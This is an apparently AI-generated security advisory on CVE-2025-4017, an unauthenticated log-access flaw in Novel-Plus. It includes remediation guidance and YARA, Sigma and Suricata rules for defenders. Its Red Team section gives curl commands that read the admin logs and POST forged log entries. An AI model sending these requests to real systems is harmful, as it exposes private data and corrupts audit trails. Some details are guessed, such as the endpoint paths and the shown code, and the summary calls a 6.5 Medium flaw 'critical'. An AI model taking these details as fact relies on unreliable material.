CVE-2025-4017

Executive Summary

CVE-2025-4017 is a critical improper authorization vulnerability in the Novel-Plus content management system, specifically affecting the list function within LogController.java. This flaw allows remote attackers to access administrative log data without proper authentication, leading to unauthorized information disclosure and potential manipulation of audit trails. The vulnerability has been publicly disclosed with a proof-of-concept, and the vendor has not responded to disclosure attempts, leaving the software in an unpatched state. The attack vector is remote, requires no privileges, and has a low complexity, making it highly exploitable in internet-facing deployments.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a Java-based application vulnerability within the Novel-Plus project, which is distributed as source code or compiled WAR/JAR files. Users should verify the integrity of their downloaded artifacts and consider forking the repository to apply custom patches.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
• Base Score: 6.5 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L) – Log data may contain sensitive user actions or system information.
• Integrity Impact: Low (I:L) – Attackers could potentially inject or modify log entries.
• Availability Impact: None (A:N)

Threat Level: Medium. The lack of authentication and public exploit availability increases the risk, but the impact is limited to log data.

Deep Dive & Mechanics

The vulnerability resides in the list method of LogController.java located at nnovel-admin/src/main/java/com/java2nb/common/controller/LogController.java. This method is mapped to a RESTful endpoint (likely /log/list or similar) and is intended to retrieve system logs for administrative review. However, the controller lacks any authorization checks (e.g., Spring Security annotations, role-based access control, or session validation). An unauthenticated attacker can send a GET request to this endpoint and receive the full log data.

The root cause is a missing @PreAuthorize annotation or manual permission check in the controller method. The list function directly calls a service layer method that queries the database without verifying the user's identity or role. This is a classic example of CWE-285: Improper Authorization.

Attack Flow:

1. Attacker identifies a Novel-Plus instance (e.g., via Shodan or Google dork).
2. Attacker sends a GET request to /log/list (or the exact endpoint path).
3. The server returns a JSON/XML response containing log entries, including timestamps, user actions, IP addresses, and potentially sensitive data.
4. Attacker can also send POST/PUT requests to manipulate logs if the controller exposes write operations without authorization.

Vulnerable vs. Patched Code

Vulnerable Code (LogController.java):

@RestController
@RequestMapping("/log")
public class LogController {
    @Autowired
    private LogService logService;

    @GetMapping("/list")
    public Result list(Log log, PageParam pageParam) {
        Page<?> page = logService.selectPage(log, pageParam);
        return Result.ok(page);
    }
}

Patched Code (Hypothetical):

@RestController
@RequestMapping("/log")
public class LogController {
    @Autowired
    private LogService logService;

    @GetMapping("/list")
    @PreAuthorize("hasRole('ADMIN')")
    public Result list(Log log, PageParam pageParam) {
        Page<?> page = logService.selectPage(log, pageParam);
        return Result.ok(page);
    }
}

The patch adds a @PreAuthorize annotation to restrict access to users with the ADMIN role. Alternatively, a manual check using SecurityUtils.getCurrentUser() could be implemented.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A running instance of Novel-Plus (commit 0e156c04b4b7ce0563bef6c97af4476fcda8f160 or earlier).
• Network access to the target.

Exploitation Steps:

1. Identify the target endpoint. Based on the code, the endpoint is likely /log/list. Use a web browser or curl:

   curl -X GET http://target:8080/log/list
   

2. If the endpoint returns a JSON array of logs, the vulnerability is confirmed. Example response:

   {
     "code": 200,
     "data": {
       "records": [
         {
           "id": 1,
           "username": "admin",
           "operation": "Login",
           "time": "2025-04-01 10:00:00",
           "ip": "192.168.1.100"
         }
       ]
     }
   }
   

3. For further exploitation, attempt to send POST requests to create or modify logs:

   curl -X POST http://target:8080/log/add -H "Content-Type: application/json" -d '{"username":"attacker","operation":"Exploit","time":"2025-04-01 12:00:00","ip":"10.0.0.1"}'
   

No Exploit-DB code was provided.

Blue Team (Detection & Hardening)

Detection:

• Monitor for unauthorized access to /log/list or /log/* endpoints.
• Look for requests without a valid session cookie or JWT token.
• Alert on high volumes of log retrieval requests from a single IP.

Hardening:

• Immediately restrict access to the /log endpoint using a reverse proxy (e.g., Nginx):

  location /log/ {
      deny all;
      return 403;
  }
  

• Implement authentication and authorization in the application code as shown in the patched example.
• Use a Web Application Firewall (WAF) to block requests to /log/list without proper headers.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP GET requests to /log/list without authentication headers.
  • Unusual POST requests to /log/add or /log/update.
  • Source IPs from unexpected geographic locations.
• File IOCs:
  • Modified log files in the application's log directory.
  • Presence of new user accounts in the database (if log manipulation leads to privilege escalation).
• Behavioral IOCs:
  • Sudden increase in log retrieval activity.
  • Log entries containing suspicious usernames or operations (e.g., "Exploit", "Backdoor").

Detection Engineering

YARA Rule

rule CVE_2025_4017_Novel_Plus_LogController {
    meta:
        description = "Detects vulnerable LogController.java file in Novel-Plus"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-4017"
    strings:
        $s1 = "LogController.java" ascii wide nocase
        $s2 = "list" ascii wide nocase
        $s3 = "logService.selectPage" ascii wide nocase
        $s4 = "@GetMapping" ascii wide nocase
    condition:
        all of ($s*) and filesize < 10KB
}

Sigma Rule

title: Novel-Plus Unauthenticated Log Access
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects unauthorized access to the /log/list endpoint in Novel-Plus
author: Valters IT
date: 2025-04-01
logsource:
    category: webserver
    product: apache
    service: accesslog
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/log/list'
    condition: selection
falsepositives:
    - Legitimate admin access (should be rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-4017 Novel-Plus Unauthenticated Log Access"; flow:to_server; content:"GET"; http_method; content:"/log/list"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the application: If the Novel-Plus instance is internet-facing, immediately restrict network access to trusted IPs only.
2. Apply a reverse proxy rule: Block all requests to /log/* unless authenticated.
3. Disable the vulnerable endpoint: If possible, remove or comment out the list method in LogController.java until a patch is available.

Long-Term Fix:

• Fork the repository and implement proper authorization checks (e.g., Spring Security @PreAuthorize).
• Conduct a full security audit of all controller methods for similar issues.
• Monitor the vendor's repository for any future patches.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters.it.